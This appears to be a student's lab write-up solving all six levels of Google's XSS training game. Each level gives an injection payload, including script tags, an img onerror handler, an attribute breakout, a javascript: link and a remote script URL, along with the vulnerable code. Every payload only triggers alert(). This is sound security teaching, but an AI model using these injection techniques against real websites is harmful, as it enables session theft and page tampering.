proj2: XSS Exploit Generation

Level 1: Hello, world of XSS

- How to trigger the vulnerability?
  - In the input box, type:

```
<script>alert(1)</script>
```

- Vulnerable source code location:
  - The website tries to get the value for “query” from the input box. At this step, it doesn’t check if the input is a script, which means we can perform a javascript injection through the input box.
  - As we can see from the code below, “query” get directly added to the message and passed to the page html. Therefore, we can input “<script>alert(1)</script>” so that we can inject this script to the html.

```
// vulnerability here!!!
message = "Sorry, no results were found for <b>" + query + "</b>."
message += " <a href='?'>Try again</a>."

self.render_string(page_header + message + page_footer)
```

Level 2: Persistence is key

- How to trigger the vulnerability?
  - In the post box, type:

```
<img src='' onerror='alert(1)'>
```

- Vulnerable source code location:

- Although the usage of innerHTML will prevent script tags from executing, it doesn't prevent other elements with a JavaScript attribute.
- Therefore, we can add img tag in "post.message" and set onerror attribute to be the JS code we want to execute.
- When the img tag get executed, since it cannot find the image source, it will trigger onerror, which will execute our input code snippet.

```
var posts = DB.getPosts();
for (var i=0; i<posts.length; i++) {
  var html = '<table class="message"> <tr> <td valign=top> '
    + '<img src="/static/level2_icon.png"> </td> <td valign=top '
    + ' class="message-container"> <div class="shim"></div>';

  html += '<b>You</b>';
  html += '<span class="date">' + new Date(posts[i].date) + '</span>';
  html += "<blockquote>" + posts[i].message + "</blockquote";
  html += "</td></tr></table>"
  // vulnerability here
  containerEl.innerHTML += html;
}
```

Level 3: That sinking feeling...

- How to trigger the vulnerability?
  - In the URL box, type:

```
https://xss-game.appspot.com/level3/frame#0' onerror='alert (1);//
```

- Vulnerable source code location:
  - We notice that when we click the "Image 1", "Image2", and "Image3" tabs, the content of the website will change, and the URL changes as well. Therefore, it tell us that the website will read the URL input.
  - Then we look at the code snippet below, "num" is the part of URL after "frame#". The first line of the code parse an integer from "num". The second line append "num" to the image tab, which is vulnerable since whatever gets put there will be executed with the image tab.

```
var html = "Image " + parseInt(num) + "<br>";
// vulnerability here!!!
html += "<img src='/static/level3/cloud" + num + ".jpg' />";
$('#tabContent').html(html);
```

- By adding “0' onerror='alert (1);//” after the URL, we end up with the following image tab:

```
html += "<img src='/static/level3/cloud" + “0' onerror='alert (1);//” + ".jpg' />";
//  <img src='/static/level3/cloud0' onerror='alert (1);//.jpg' />
```

- When the image tab gets executed, the image source doesn’t exist (since .jpg is commented out), so onerror is triggered, which contains alert.

Level 4: Context matters

- How to trigger the vulnerability?
  - In the input box, type:

```
') ; alert('1
```

- Vulnerable source code location:
  - The user-input component in this website is the input box for creating a timer. We can check on how the input is being processed by the website and look for potential vulnerability.
  - The user input is passed in by the variable “timer”. From the code below, we can see “timer” is added as a part of the onload attribute of the image tag. Therefore, we can change the value of “timer” so that an alert can be included as a part of “onload”.

```
<body id="level4">
  <img src="/static/logos/level4.png" />
  <br>
  // vulnerability here!!!
  <img src="/static/loading.gif" onload="startTimer('{{ timer }}');" />
```

```
  <br>
  <div id="message">Your timer will execute in {{ timer }} seconds.</div>
</body>
```

- If we input “') ; alert('1”, the image tag ends up with what is shown below, and we can see onload attribute contains alert. Therefore, alert will be execute when we load the image.

```
<img src="/static/loading.gif" onload="startTimer('') ; alert('1');" />

//  onload="startTimer('') ; alert('1');"
```

Level 5: Breaking protocol

- How to trigger the vulnerability?
  - First, click “Sign up”.
  - In the URL box, type:

    ```
    https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert()
    ```

  - Click next
- Vulnerable source code location:
  - Over here we can see the part of url after “next” is treated as a link, which means we can change “next” to redirect the website to another site.

```
// vulnerability here!!!
<a href="{{ next }}">Next >></a>
```

  - Since we want to inject a javascript code snippet, we can look for a solution to use a link to call JS.
  - A solution is to use “javascript:alert()” as shown below. Thus, alert will be triggered after we click on the link.

```
<a href= javascript:alert()>Next >></a>
```

Level 6: Follow the 🐇

- How to trigger the vulnerability?
  - In the URL box, type:

```
https://xss-game.appspot.com/level6/frame#//google.com/jsapi?callback=alert
```

- Vulnerable source code location:
  - We notice that we can load the url input after “frame#”. Thus, we just need to find a url that execute alert externally.
  - We can host our own JS file that executes the alert, or we can use the given one in hint “google.com/jsapi?callback=alert”.
  - Also, we notice this link is “http” instead of “https”, but we can hide it by just inputting “//google.com/jsapi?callback=alert”

```
// vulnerability here!!!
scriptEl.src = url;
// url = //google.com/jsapi?callback=alert
```